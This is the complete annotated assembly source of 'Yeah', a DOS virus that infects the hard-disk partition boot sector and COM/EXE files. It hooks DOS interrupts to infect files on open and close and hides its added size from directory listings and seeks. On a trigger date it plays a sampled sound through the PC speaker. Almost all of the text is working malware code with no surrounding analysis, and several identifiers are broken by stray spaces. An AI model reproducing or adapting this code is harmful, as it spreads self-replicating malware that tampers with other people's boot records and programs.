2022-08-21 09:07:57 +00:00
;------------------------------------------------------------------------------
;
; Virus Name: Yeah
; Origin: Holland
; Eff Length: 4,096 bytes
; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM stealth;
; LINK stealth,,stealth;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------
iseg seg ment at 0
org 8 * 4
Int8o dw 0 ; interrupt vector 21h
Int8s dw 0
org 1ch * 4
Int1Co dw 0 ; interrupt vector 21h
Int1Cs dw 0
org 21h * 4
Int21o dw 0 ; interrupt vector 21h
Int21s dw 0
iseg ends
cseg seg ment public 'code'
assume cs : cs eg , ds : cs eg , es : cs eg
;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------
VirusSize equ 10d0h ; size of virus
PrgSize equ 72h ; size of prg after the virus
Signature dw 0 ; signature 'MZ'
PartPage dw 0 ; size of partitial page
PageCount dw 0 ; number of pages
ReloCount dw 0 ; number of relocation items
HeaderSize dw 0 ; size of header
MinMem dw 0 ; minimum memory needed
MaxMem dw 0 ; maximum memory needed
ExeSS dw 0 ; initial SS
ExeSP dw 0 ; initial SP
CheckSum dw 0 ; unused ???
ExeIP dw 0 ; initial IP
ExeCS dw 0 ; initial CS
ReloOffset dw 0 ; offset of relocationtable
OverlayNr dw 0 ; number of overlay
ComSize dw - 1 ; Size of com-file (-1 for exe)
;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------
Main: pushf ; save flags
sub sp , 4 ; reserve space far cs:ip
push ax ; save other registers
push ds
push es
sti ; enable interrupts
cmp cs : ComSize , - 1 ; com or exe-file
je ExeFile ; -1 : exe-file
ComFile: mov word ptr ds :[ 6 ], 0fef0h ; set availeble memory to max
mov bp , sp ; set cs:ip on stack for
mov word ptr [ bp + 8 ], ds ; returning to the orginal
mov word ptr [ bp + 6 ], 100h ; program
mov bp , ds ; bp : stacksegment
mov ax , cs ; bx : begin of com-file
add ax ,( VirusSize / 10h )
mov bx , ax
mov cx , 0ff0h ; cx : size of data to move
add ax , cx ; es : buffer for mover and
mov es , ax ; infecting the bootsect.
push cs ; ds : codesegment
pop ds
jmp short InfectBoot ; infect bootsector
ExeFile: mov dx , cs ; Relocation
add dx ,( VirusSize / 10h )
mov ds , dx
mov cx , ReloCount ; number of relocation items
add dx , HeaderSize ; size of exe-header
mov si , ReloOffset ; offset of 1st relocation item
jcxz NoRelo
NextRelo: lodsw ; offset
mov di , ax
lodsw ; segment
add ax , dx
mov es , ax
mov ax , cs ; relocation factor
add es :[ di ], ax
loop NextRelo ; next relocation item
NoRelo: mov bp , sp
mov ax , cs ; set cs:ip on stack for
add ax , ExeCS ; returning to the orginal
mov [ bp + 8 ], ax ; program
mov ax , ExeIP
mov [ bp + 6 ], ax
mov bp , cs ; bp : stacksegment
add bp , ExeSS
mov ax , PageCount ; calculate size of exe-file
mov dx , PartPage ; in paragraphs
add dx , - 1
sbb ax , 0
mov cl , 4
shr dx , cl
inc dx
inc cl
shl ax , cl
add dx , ax
add dx , MinMem ; dx : size of exe-file
mov cx , dx ; cx : size of code and data
sub cx , HeaderSize
mov bx , cs ; bx : start of code and data
mov ds , bx
add bx ,( VirusSize / 10h )
add bx , dx
mov es , bx ; es : buffer for mover and
sub bx , cx ; infecting the bootsect.
InfectBoot: push bx ; save bx and cx
push cx
mov ax , 201h ; read bootsector from disk
xor bx , bx
mov cx , 1
mov dx , 80h
int 13h
jc BootOk ; error ?
mov si , offset BootSector ; compare with infected code
xor di , di
mov cx , 1 * BootSize
cld
repe cmpsb
je BootOk ; equal ?
mov di , 1beh + 8 ; check partitions, we don't
mov cx , 4 ; want to overwrite them
NextPartition: cmp word ptr es :[ di + 2 ], 0
ja SectOk
cmp word ptr es :[ di ],( VirusSize + 1ffh ) / 200h + 1
ja SectOk
cmp word ptr es :[ di ], 0
ja BootOk
SectOk: add di , 10h
loop NextPartition
mov si , offset BootSector ; exchange code from bootsector
xor di , di ; with viral code
mov cx , 1 * BootSize
cld
call Swapsb
push es ; write virus to disk
pop ds
push cs
pop es
mov ax ,( VirusSize + 1ffh ) / 200h + 300h
mov cx , 2
int 13h
push ds
pop es
push cs
pop ds
jc BootOk ; error ?
mov ax , 301h ; write bootsector to disk
mov cx , 1
int 13h
BootOk: pop cx ; restore bx and cx
pop bx
mov dx , cs ; dx = destenation segment
xor di , di
push es ; push seg:ofs of mover
push di
push cx ; save cx
mov cx , 1 * MoverSize
mov si , offset Mover
cld ; copy mover-procedure
rep movsb
pop cx ; restore cx
cli ; disable interrupts
retf ; jump to mover
Mover: mov ax , cx ; save cx
mov ds , bx ; ds:si = source
mov es , dx ; es:di = destenation
xor si , si
xor di , di
mov cx , 8h ; copy one paragraph
rep movsw
inc bx
inc dx
mov cx , ax ; restore cx
loop Mover ; next paragraph
mov ss , bp ; ss = new stacksegment
sti ; enable interrupts
pop es ; restore registers
pop ds
pop ax
iret ; jump to program
MoverSize equ ( $ - Mover )
;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------
Bootsector: cli ; disable interrupts
xor bx , bx ; setup stack and ds
mov ds , bx
mov ss , bx
mov sp , 7c00h
sti ; enable interrupts
mov ax , ds :[ 413h ] ; get size of base memory
sub ax ,( VirusSize + 3ffh ) / 400h ; subtract virussize
mov ds :[ 413h ], ax ; store new memory size
mov cl , 6 ; calculate segment
shl ax , cl
mov es , ax ; load virus in reserved mem
mov ax ,( VirusSize + 1ffh ) / 200h + 200h
mov cx , 2
mov dx , 80h
int 13h
mov bx , offset StartUp ; bx=offset startup
push es ; jump to startup (es:bx)
push bx
retf
BootSize equ ( $ - Bootsector ) ; size of bootsector part
StartUp: cli ; disable interrupts
mov ax , offset Interrupt1C ; hack interrupt 1C
xchg ax , ds : Int1Co
mov cs : OldInt1Co , ax
mov ax , cs
xchg ax , ds : Int1Cs
mov cs : OldInt1Cs , ax
mov cs : OldInt21o , - 1
mov cs : OldInt21s , - 1
mov cs : Count , - 1
sti ; enable interrupts
push cs ; ds=cs
pop es
mov si , 7c00h ; di=7c00h (Bootsector)
mov di , offset BootSector ; si=BootSector
mov cx , 1 * BootSize ; bytes to copy
cld ; copy forward
call Swapsb ; restore orginal boot
mov ax , 7c00h ; offset bootsector
push ds ; jump to bootsector
push ax
retf
Interrupt8: push ax ; save registers
push si
push ds
push cs
pop ds
mov si , SampleOffset ; get offset of next bit
dec byte ptr ds : SampleBit
test byte ptr ds : SampleBit , 7
jnz OfsOk
inc si
cmp si , offset SampleEnd ; end of sample ?
jb OfsOk ; no, play bit
mov al , 34h ; reset int 8 frequency
out 43h , al
xor ax , ax
out 40h , al
out 40h , al
mov ds , ax ; reset int 8 vector
mov ax , cs : OldInt8o
mov ds : Int8o , ax
mov ax , cs : OldInt8s
mov ds : Int8s , ax
inc byte ptr cs : SampleFlag ; set sample ready flag
jmp short ExitInt8 ; end of interrupt
OfsOk: mov SampleOffset , si ; store offset
rol byte ptr ds :[ si ], 1 ; next bit
mov ah , ds :[ si ] ; get bit value
and ah , 1
shl ah , 1
in al , 61h ; get value of io-port 61h
and al , 0fch ; reset last 2 bits
or al , ah ; set bit 2 with sample value
out 61h , al ; write to io-port 61h
ExitInt8: mov al , 20h ; end of interrupt signal
out 20h , al
pop ds ; restore registers
pop si
pop ax
iret ; return to program
Interrupt1C: push ds ; save registers
push ax
push bx
xor ax , ax ; interrupts vectors
mov ds , ax
mov ax , ds : Int21o
cmp cs : OldInt21o , ax
jne Ch anged
mov ax , ds : Int21s
cmp cs : OldInt21s , ax
je Equ al
Changed: mov ax , ds : Int21o
mov cs : OldInt21o , ax
mov ax , ds : Int21s
mov cs : OldInt21s , ax
mov cs : Count , 182
jmp short NotReady
Equal: dec cs : Count
jnz NotReady
mov ax , cs : OldInt1Co ; restore vector 1C
mov ds : Int1Co , ax ; (This interrupt)
mov ax , cs : OldInt1Cs
mov ds : Int1Cs , ax
mov ax , offset Interrupt21 ; Hack interrupt 21
xchg ax , ds : Int21o
mov cs : OldInt21o , ax
mov ax , cs
xchg ax , ds : Int21s
mov cs : OldInt21s , ax
mov ax , 8
mov bx , offset Handle
NextHandle: mov word ptr cs :[ bx ], 0
inc bx
inc bx
dec ax
jnz NextHandle
mov byte ptr cs : Active , - 1
NotReady: pop bx
pop ax ; restore registers
pop ds
jmp cs : OldInt1C ; do orginal int 1C
Swapsb: mov al , es :[ di ] ; exchange two memory bytes
xchg al , ds :[ si ]
stosb
inc si
loop Swapsb ; next byte
ret ; return
;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------
Functions db 11h ; 1
dw offset FindFCB
db 12h ; 2
dw offset FindFCB
db 30h ; 3
dw offset DosVersion
db 3ch ; 4
dw offset Open
db 3dh ; 5
dw offset Open
db 3eh ; 6
dw offset Cl ose
db 42h ; 7
dw offset Seek
db 45h ; 8
dw offset Duplicate
db 46h ; 9
dw offset Redirect
db 4eh ; 10
dw offset Find
db 4fh ; 11
dw offset Find
db 5bh ; 12
dw offset Open
db 6ch ; 13
dw offset OpenCreate
FunctionCount equ 13
;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------
DosVersion: push ax
push cx
push dx
push ds
push cs
pop ds
cmp cs : Active , 0
je NotActive
mov ah , 2ah
call DOS
cmp ActiveYear , cx
jb NotActive
cmp ActiveDate , dx
jb NotActive
cli
xor ax , ax
mov ds , ax
mov ax , offset Interrupt8
xchg ax , ds : Int8o
mov cs : OldInt8o , ax
mov ax , cs
xchg ax , ds : Int8s
mov cs : OldInt8s , ax
mov al , 34h
out 43h , al
mov al , 80h
out 40h , al
mov al , 0
out 40h , al
push cs
pop ds
mov byte ptr SampleFlag , 0
mov byte ptr SampleBit , 0
mov word ptr SampleOffset , offset SampleData
sti
Delay: cmp byte ptr SampleFlag , 0
je Delay
mov byte ptr Active , 0
NotActive: pop ds
pop dx
pop cx
pop ax
jmp Old21
FindFCB: call DOS ; call orginal interrupt
cmp al , 0 ; error ?
jne Ret1
pushf ; save registers
push ax
push bx
push es
mov ah , 2fh ; get DTA
call DOS
cmp byte ptr es :[ bx ], - 1 ; extended fcb ?
jne FCBOk
add bx , 8 ; yes, skip 8 bytes
FCBOk: mov al , es :[ bx + 16h ] ; get file-time (low byte)
and al , 1fh ; seconds
cmp al , 1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es :[ bx + 1ch ], VirusSize
sbb word ptr es :[ bx + 1eh ], 0 ; adjust file-size
jmp short Time
Find: call DOS ; call orginal interrupt
jc Ret1 ; error ?
pushf ; save registers
push ax
push bx
push es
mov ah , 2fh
call DOS
mov al , es :[ bx + 16h ] ; get file-time (low byte)
and al , 1fh ; seconds
cmp al , 1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es :[ bx + 1ah ], VirusSize
sbb word ptr es :[ bx + 1ch ], 0 ; change file-size
Time: xor byte ptr es :[ bx + 16h ], 1fh ; adjust file-time
FileOk: pop es ; restore registers
pop bx
pop ax
popf
Ret1: retf 2 ; return
Seek: or bx , bx ; bx=0 ?
jz Old21 ; yes, do orginal interrupt
push bx
call FindHandle
pop bx
jc Old21
Stealth: or al , al ; seek from top of file ?
jnz Relative ; no, don't change cx:dx
add dx , VirusSize ; change cx:dx
adc cx , 0
Relative: call DOS ; Execute orginal int 21h
jc Ret1 ; Error ?
sub ax , VirusSize ; adjust dx:ax
sbb dx , 0
jmp short Ret1 ; return
Close: or bx , bx ; bx=0 ?
je Old21 ; yes, do orginal interrupt
push ax
push cx
push dx
push si
push ds
push cs ; ds=cs
pop ds
push bx
call FindHandle
mov si , bx
pop bx
jc NotStealth
mov word ptr ds :[ si ], 0
call UpdateHeader
NotStealth: pop ds ; restore registers
pop si
pop dx
pop cx
pop ax
Not2: jmp short Old21 ; continue with orginal int
Interrupt21: push bx ; after an int 21h instruction
push cx ; this procedure is started
mov bx , offset Functions
mov cx , FunctionCount
NxtFn: cmp ah , cs :[ bx ] ; search function
je FunctionTrap
add bx , 3
loop NxtFn
pop cx ; function not found
pop bx
Old21: jmp cs : OldInt21
FunctionTrap: push bp ; function found, start viral
mov bp , sp ; version of function
mov bx , cs :[ bx + 1 ]
xchg bx ,[ bp + 4 ]
mov cx ,[ bp + 10 ]
xchg cx ,[ bp + 2 ]
pop bp
popf
ret
Duplicate: call DOS
jc Error
pushf
push bx
call FindHandle
jc Ret3
mov bx , ax
call StoreHandle
Ret3: pop bx
popf
jmp Ret2
Redirect: call DOS
jc Error
pushf
push bx
push cx
xchg bx , cx
call FindHandle
jc Ret4
mov cs :[ bx ], cx
Ret4: pop cx
pop bx
popf
jmp Ret2
OpenCreate: or al , al ; extended open/create function
jne Old21 ; no, do orginal interrupt 21
push dx ; save dx
mov dx , si ; check extension of filename
call Ch eckName
pop dx ; retore dx
jc Old21 ; exe or com-file?
jmp short ExtensionOk ; yes, infect file or use
; stealth
Open: call Ch eckName ; exe or com-file ?
jc Old21 ; no, do orginal int 21
ExtensionOk: call DOS ; do interrupt 21
jnc NoError ; error ?
Error: jmp Ret2 ; yes, return and do nothing
NoError: pushf ; save registers
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov bx , ax ; bx = file handle
mov ax , 4400h ; get device information
call DOS
jc PopRet ; error ?
test dx , 80h ; character device
jnz PopRet ; yes, return and do nothing
call EndOfFile ; get file size
or ax , dx ; 0 ?
jnz FileExists ; no, file already existed
FileCreated: call HandleFree
jc PopRet
mov ah , 2ah
call DOS
add dh , 3
cmp dh , 12
jbe DateOk
inc cx
sub dh , 12
DateOk: mov ActiveYear , cx
mov ActiveDate , dx
mov ah , 40h ; write virus to file
mov cx , VirusSize
call Zero2
jc NoVir ; error ? yes, return
xor ax , cx ; entire virus written ?
jnz NoVir ; no, return
call StoreHandle
jmp short PopRet ; return
FileExists: call TopOfFile ; go to top of file
call HandleFree
jc PopRet ; no, do nothing
call ReadHeader ; read exe-header
jc NoVir ; error ?
xor ax , cx ; entire header read
jne NoVir ; no, not infected
cmp Si gnature , 5a4dh ; signature = 'MZ' ?
jne NoVir ; no, not infected
cmp HeaderSize , ax ; headersize = 0 ?
jne NoVir ; no, not infected
cmp Ch eckSum , 0DEADh ; checksum = DEAD hex
jne NoVir ; no, not infected
call StoreHandle
mov dx , VirusSize ; seek to end of virus
jmp short Infected
NoVir: xor dx , dx
Infected: xor cx , cx ; go to end of virus if file
mov ax , 4200h ; is infected
call DOS
PopRet: pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
popf
Ret2: retf 2 ; return
;------------------------------------------------------------------------------
EndOfFile: mov ax , 4202h ; go to end of file
jmp short Zero1
TopOfFile: mov ax , 4200h ; go to top of file
Zero1: xor cx , cx
jmp short Zero2
WriteHeader: mov ah , 40h ; write exe-header to file
jmp short Hdr
ReadHeader: mov ah , 3fh ; read exe-header from file
Hdr: mov cx , 1eh
Zero2: xor dx , dx
DOS: pushf ; call orginal interrupt
call cs : OldInt21
ret
FindHandle: push ax
push cx
mov ax , bx
mov bx , offset Handle
mov cx , 8
NotFound: cmp ax , cs :[ bx ]
je Found
inc bx
inc bx
loop NotFound
stc
Found: pop cx
pop ax
ret
HandleFree: push bx
xor bx , bx
call FindHandle
pop bx
ret
StoreHandle: push bx
push bx
xor bx , bx
call FindHandle
pop cs :[ bx ]
pop bx
ret
CheckName: push ax ; check for .exe or .com
push cx ; save registers
push si
push di
xor ah , ah ; point found = 0
mov cx , 100h ; max length filename = 100h
mov si , dx ; si = start of filename
cld
NxtChr: lodsb ; get byte
or al , al ; 0 ?
je EndName ; yes, check extension
cmp al , '\' ; \ ?
je Slash ; yes, point found = 0
cmp al , '.' ; . ?
je Point ; yes, point found = 1
loop NxtChr ; next character
jmp short EndName ; check extension
Slash: xor ah , ah ; point found = 0
jmp NxtChr ; next character
Point: inc ah ; point found = 1
mov di , si ; di = start of extension
jmp NxtChr ; next character
EndName: cmp ah , 1 ; point found = 0
jne NotExe ; yes, not an exe-file
mov si , di ; si = start of extension
lodsw ; first 2 characters
and ax , 0dfdfh ; uppercase
mov cx , ax
lodsb ; 3rd character
and al , 0dfh ; uppercase
cmp cx , 04f43h ; extension = .com ?
jne NotCom
cmp al , 04dh
je Ch kRet
NotCom: cmp cx , 05845h ; extension = .exe ?
jne NotExe
cmp al , 045h
je Ch kRet
NotExe: stc ; set carry flag
ChkRet: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return
UpdateHeader: mov ax , 4200h ; position read/write pointer
xor cx , cx ; at the end of the virus
mov dx , VirusSize
call DOS
call ReadHeader ; read orginal exe-header
cmp Si gnature , 5a4dh
je InfectExe
InfectCom: mov Si gnature , 5a4dh
mov ReloOffset , 01ch
mov OverlayNr , 0
mov ExeSS ,( VirusSize - 100h ) / 10h
mov ExeSP , 0fffeh
call EndOfFile
sub ax , VirusSize
sbb dx , 0
mov ComSize , ax
mov cx , 10h
div cx
sub dx , 1
mov dx , 0ff2h + 20h
sbb dx , ax
mov MinMem , dx
jmp WriteIt
InfectExe: mov ComSize , - 1
mov ax ,( VirusSize / 10h )
add ax , HeaderSize
add ExeSS , ax
add MinMem , 20h
add MaxMem , 20h
jnc MaxOk
WriteIt: mov MaxMem , 0ffffh
MaxOk: mov ReloCount , 0
mov HeaderSize , 0
mov Ch eckSum , 0DEADh
mov ExeCS , 0
mov ExeIP , offset Main
call EndOfFile
mov cx , 200h
div cx
mov PartPage , dx
add dx , - 1
adc ax , 0
mov PageCount , ax
call TopOfFile
call WriteHeader ; write header at the top of
jc InfErr ; the virus
mov ax , 5700h
call DOS
mov ax , 5701h
or cl , 1fh
call DOS
InfErr: ret
;------------------------------------------------------------------------------
;
; Data to generate the 123 yeah sound
;
;------------------------------------------------------------------------------
SampleData db 07dh , 075h , 05fh , 0ffh , 0ffh , 0ffh , 0ffh , 0a0h , 03fh , 007h , 0f8h , 03ch , 007h , 0e0h , 07fh , 003h
db 0c0h , 0f8h , 00fh , 0c0h , 0f0h , 07ch , 00fh , 0c0h , 0f8h , 0f0h , 01fh , 081h , 0ffh , 081h , 0fch , 00ch
db 07eh , 007h , 0f0h , 071h , 0f0h , 03fh , 007h , 00fh , 083h , 0f0h , 071h , 0f8h , 03fh , 007h , 01fh , 003h
db 0e0h , 0e3h , 0e0h , 07ch , 000h , 0fch , 00fh , 080h , 03fh , 003h , 0e0h , 01fh , 0c0h , 0fch , 007h , 0f0h
db 03fh , 003h , 0f8h , 00fh , 0c0h , 0feh , 003h , 0f0h , 07fh , 001h , 0f8h , 03fh , 0c0h , 07eh , 007h , 0fch
db 03fh , 001h , 0f8h , 01eh , 01fh , 002h , 03eh , 00fh , 0c0h , 03fh , 007h , 0f0h , 01fh , 007h , 0fch , 00fh
db 082h , 0ffh , 00fh , 086h , 00fh , 038h , 03eh , 004h , 03ch , 01fh , 008h , 03eh , 01fh , 008h , 03eh , 00fh
db 000h , 07ch , 00fh , 080h , 07ch , 007h , 0e0h , 078h , 0e1h , 0f0h , 0f0h , 0e1h , 0f0h , 0f0h , 0f0h , 0f1h
db 0e1h , 0f0h , 0e1h , 0e1h , 0f0h , 0e3h , 0c3h , 0f0h , 0cfh , 007h , 0f0h , 01eh , 00fh , 0f0h , 03eh , 01eh
db 078h , 03ch , 01ch , 078h , 038h , 03ch , 078h , 078h , 07ch , 070h , 0f0h , 078h , 0e1h , 0c0h , 070h , 0c3h
db 058h , 061h , 08eh , 078h , 0e3h , 01ch , 071h , 0c6h , 03ch , 0e3h , 08eh , 030h , 0e7h , 01ch , 071h , 0c6h
db 038h , 0e1h , 08eh , 038h , 0e3h , 09ch , 071h , 0c7h , 01ch , 0f1h , 0c7h , 018h , 0e3h , 007h , 038h , 0e7h
db 00fh , 000h , 0efh , 00fh , 001h , 0e6h , 00fh , 0c1h , 0e3h , 01eh , 003h , 0e3h , 08eh , 0e1h , 0dfh , 087h
db 0e1h , 0c3h , 0c6h , 070h , 07fh , 003h , 0f0h , 073h , 0f0h , 03eh , 007h , 0ech , 007h , 0e0h , 078h , 070h
db 07eh , 00fh , 00fh , 007h , 0c2h , 063h , 0e0h , 07eh , 008h , 0f8h , 01fh , 080h , 03eh , 003h , 0f0h , 01fh
db 080h , 0fch , 007h , 0f0h , 03fh , 001h , 0f8h , 00fh , 0c0h , 0feh , 003h , 0f0h , 01fh , 0c0h , 0f8h , 01fh
db 0e0h , 07ch , 01fh , 0f0h , 03eh , 00fh , 080h , 01fh , 00fh , 0f0h , 01fh , 007h , 0d0h , 00fh , 007h , 0c3h
db 00fh , 007h , 082h , 00fh , 007h , 0c0h , 00fh , 007h , 0c3h , 00fh , 007h , 080h , 00fh , 007h , 00ah , 01fh
db 00fh , 08eh , 01eh , 01eh , 00eh , 03ch , 01eh , 01ch , 03ch , 03ch , 018h , 078h , 07ch , 018h , 0f0h , 078h
db 0f1h , 0f0h , 0f0h , 0e1h , 0e1h , 0e0h , 0c3h , 0c3h , 0e1h , 0c7h , 083h , 0c3h , 08fh , 00fh , 003h , 01eh
db 01eh , 00eh , 01ch , 03eh , 01ch , 078h , 078h , 038h , 0f0h , 0f0h , 031h , 0e1h , 0ech , 063h , 0c3h , 0c8h
db 0c7h , 087h , 0f1h , 08fh , 00ch , 0e3h , 01eh , 01bh , 0c7h , 01ch , 027h , 08eh , 038h , 047h , 01ch , 079h
db 08eh , 038h , 071h , 01eh , 038h , 0f2h , 01ch , 070h , 0d6h , 038h , 0f1h , 0c0h , 038h , 0f1h , 0e0h , 078h
db 001h , 0e4h , 07dh , 0f0h , 0e0h , 018h , 018h , 0f6h , 03ch , 088h , 070h , 01fh , 0ech , 078h , 006h , 004h
db 03fh , 087h , 0f2h , 01ch , 083h , 0fbh , 01fh , 0e1h , 0f8h , 007h , 0f0h , 0ffh , 0c3h , 0f8h , 003h , 0c0h
db 0ffh , 001h , 0f8h , 007h , 080h , 03fh , 001h , 0e0h , 00ch , 086h , 07ch , 063h , 0c0h , 01fh , 060h , 0fch
db 023h , 080h , 038h , 003h , 0e0h , 038h , 0c0h , 018h , 0c7h , 0f8h , 0c7h , 000h , 000h , 001h , 0c7h , 0b8h
db 060h , 008h , 006h , 01fh , 0c7h , 018h , 002h , 030h , 00eh , 03ch , 01ch , 000h , 000h , 001h , 0f8h , 01ch
db 001h , 087h , 081h , 0e1h , 080h , 0cch , 006h , 000h , 0c6h , 060h , 000h , 008h , 007h , 080h , 000h , 020h
db 0e2h , 000h , 000h , 020h , 008h , 008h , 063h , 0ech , 004h , 023h , 024h , 062h , 08ch , 0abh , 052h , 02dh
db 0a8h , 004h , 09bh , 034h , 0a5h , 0c6h , 092h , 0b4h , 0a6h , 099h , 012h , 0c1h , 09dh , 0a0h , 02ch , 0dbh
db 034h , 0cdh , 0a8h , 044h , 098h , 0f6h , 024h , 003h , 07fh , 0a0h , 040h , 01bh , 0feh , 000h , 00bh , 0ffh
db 080h , 001h , 0ffh , 0c0h , 000h , 0ffh , 0f0h , 000h , 07fh , 0f8h , 000h , 03fh , 0f8h , 000h , 03fh , 0f0h
db 000h , 03fh , 0f8h , 000h , 03fh , 0f0h , 000h , 07fh , 0c0h , 003h , 0ffh , 0c0h , 003h , 0ffh , 000h , 005h
db 0feh , 04eh , 01dh , 0e0h , 031h , 0ffh , 000h , 0c7h , 0feh , 000h , 01fh , 0feh , 000h , 03fh , 0feh , 000h
db 03fh , 0ffh , 080h , 03fh , 0ffh , 000h , 047h , 0f9h , 082h , 007h , 0e7h , 08ch , 00fh , 09fh , 070h , 03eh
db 07fh , 0c0h , 071h , 0bfh , 000h , 0e7h , 07ch , 003h , 09fh , 0f8h , 00eh , 03fh , 0e0h , 018h , 0f7h , 0c0h
db 073h , 0ffh , 001h , 0c7h , 0fch , 003h , 00eh , 0f8h , 00eh , 03fh , 0e0h , 018h , 06fh , 0c0h , 070h , 09fh
db 080h , 0e3h , 07eh , 003h , 0c6h , 0fch , 007h , 083h , 0f8h , 00eh , 007h , 0f0h , 01ch , 06fh , 0c0h , 078h
db 01fh , 0c0h , 0f1h , 07fh , 001h , 0e0h , 0ffh , 003h , 0c1h , 0feh , 003h , 083h , 0fch , 007h , 007h , 0f8h
db 00fh , 00fh , 078h , 00eh , 00eh , 0f8h , 01eh , 01eh , 0f0h , 01eh , 03ch , 0f0h , 01ch , 03dh , 0e1h , 05ch
db 039h , 0e1h , 018h , 07bh , 0c2h , 038h , 073h , 0c3h , 038h , 0f3h , 086h , 038h , 0e7h , 086h , 070h , 0e3h
db 086h , 070h , 0e3h , 084h , 070h , 0e3h , 086h , 070h , 0e7h , 08ch , 070h , 0e7h , 08eh , 070h , 0e3h , 086h
db 071h , 0c3h , 086h , 078h , 0e3h , 080h , 079h , 0e3h , 082h , 038h , 0f1h , 0c3h , 01ch , 0f9h , 0c3h , 01ch
db 078h , 0c1h , 01eh , 078h , 0e1h , 08fh , 03ch , 070h , 08fh , 03ch , 030h , 067h , 08eh , 038h , 073h , 086h
db 018h , 07bh , 087h , 08eh , 03ch , 0e3h , 08fh , 038h , 060h , 0e7h , 08ch , 038h , 0f3h , 087h , 00eh , 078h
db 0c3h , 01eh , 070h , 070h , 0e7h , 086h , 021h , 0e7h , 007h , 08ch , 078h , 00eh , 03eh , 0e0h , 0f1h , 0cfh
db 000h , 0f1h , 0e7h , 007h , 01ch , 078h , 0c7h , 01eh , 078h , 070h , 0c7h , 08eh , 030h , 067h , 0c7h , 08eh
db 018h , 0f3h , 007h , 070h , 07ch , 079h , 0c1h , 019h , 033h , 004h , 0e3h , 0cfh , 003h , 087h , 03ch , 070h
db 0f1h , 0c7h , 00eh , 03ch , 0f1h , 0e1h , 087h , 09ch , 038h , 061h , 0e7h , 08fh , 01ch , 03fh , 087h , 03ch
db 00fh , 0f3h , 0c3h , 086h , 03ch , 0f0h , 018h , 05fh , 03eh , 030h , 0f1h , 087h , 0c6h , 00fh , 0f0h , 0e3h
db 0c7h , 01fh , 00eh , 03ch , 071h , 087h , 08eh , 01fh , 018h , 079h , 0c3h , 08fh , 01ch , 01eh , 018h , 0f1h
db 0e0h , 007h , 0cch , 01eh , 038h , 071h , 0e0h , 0c7h , 0c6h , 01ch , 07ch , 0e0h , 01ch , 078h , 07fh , 010h
db 07fh , 0e0h , 018h , 0e1h , 0cfh , 018h , 0e1h , 0c0h , 038h , 0e7h , 0c0h , 01ch , 079h , 087h , 038h , 023h
db 0ech , 018h , 0f1h , 082h , 078h , 003h , 0c6h , 018h , 07bh , 0c1h , 0f8h , 001h , 0cfh , 018h , 079h , 0c1h
db 00eh , 038h , 073h , 0ddh , 019h , 0f1h , 007h , 03ch , 070h , 0e7h , 008h , 078h , 0c3h , 00eh , 078h , 023h
db 08eh , 018h , 073h , 0c7h , 09eh , 030h , 0c3h , 08eh , 018h , 0f1h , 0c7h , 00ch , 070h , 0e3h , 08eh , 03ch
db 071h , 0c3h , 01ch , 038h , 0e1h , 08fh , 01ch , 070h , 0c7h , 08eh , 038h , 061h , 0c7h , 01eh , 038h , 0e1h
db 08fh , 01ch , 071h , 0e7h , 08ch , 038h , 0e3h , 0c6h , 01ch , 078h , 0e1h , 00eh , 01ch , 078h , 0c7h , 08eh
db 03ch , 031h , 0c3h , 08fh , 028h , 070h , 0e3h , 086h , 01ch , 038h , 0f1h , 087h , 00eh , 038h , 071h , 0c3h
db 08fh , 01ch , 078h , 0e1h , 0c3h , 00eh , 01ch , 078h , 0e1h , 0c3h , 08eh , 01ch , 078h , 071h , 0c1h , 08fh
db 08fh , 0f8h , 03dh , 0f8h , 018h , 007h , 0feh , 002h , 007h , 0feh , 006h , 003h , 0ffh , 083h , 0c1h , 0ffh
db 0c1h , 081h , 0f7h , 0d1h , 0c0h , 0ffh , 0c0h , 0c1h , 0f3h , 0e1h , 0c1h , 0f7h , 0e0h , 0c1h , 0e3h , 0e1h
db 0c1h , 0e3h , 0c1h , 0c1h , 0e3h , 0c3h , 083h , 0c7h , 083h , 083h , 0c7h , 087h , 007h , 08fh , 086h , 00fh
db 09eh , 01ch , 01eh , 01ch , 03ch , 01ch , 03ch , 038h , 078h , 038h , 0f0h , 0f8h , 0e0h , 0f1h , 0f1h , 0c1h
db 0e1h , 0f3h , 083h , 087h , 0deh , 006h , 00fh , 03eh , 01ch , 03ch , 07ch , 038h , 07ch , 0f8h , 060h , 0ffh
db 0c7h , 083h , 087h , 087h , 083h , 00fh , 00fh , 087h , 01fh , 01fh , 007h , 09fh , 01eh , 007h , 087h , 00fh
db 00fh , 00fh , 00fh , 00eh , 01eh , 01eh , 01ch , 01eh , 03eh , 00ch , 03ch , 03eh , 00ch , 03ch , 03eh , 01ch
db 01ch , 07ch , 03ch , 038h , 0f8h , 078h , 0f0h , 0f0h , 0f0h , 0f1h , 0f1h , 0c1h , 0f1h , 0e3h , 083h , 0e1h
db 0c0h , 047h , 0c7h , 0c1h , 08fh , 00fh , 086h , 01eh , 00fh , 018h , 078h , 01ch , 061h , 0fch , 071h , 08eh
db 071h , 0c6h , 031h , 0c7h , 030h , 0c7h , 018h , 0e3h , 08ch , 0e3h , 09eh , 023h , 08eh , 078h , 00eh , 039h
db 0c0h , 078h , 07fh , 0e1h , 0e0h , 0f9h , 0c3h , 080h , 0f3h , 00fh , 003h , 0cch , 03ch , 0cfh , 010h , 073h
db 01eh , 0e0h , 0c6h , 07dh , 007h , 001h , 0fch , 004h , 041h , 0f3h , 080h , 0b1h , 0eeh , 040h , 067h , 01ch
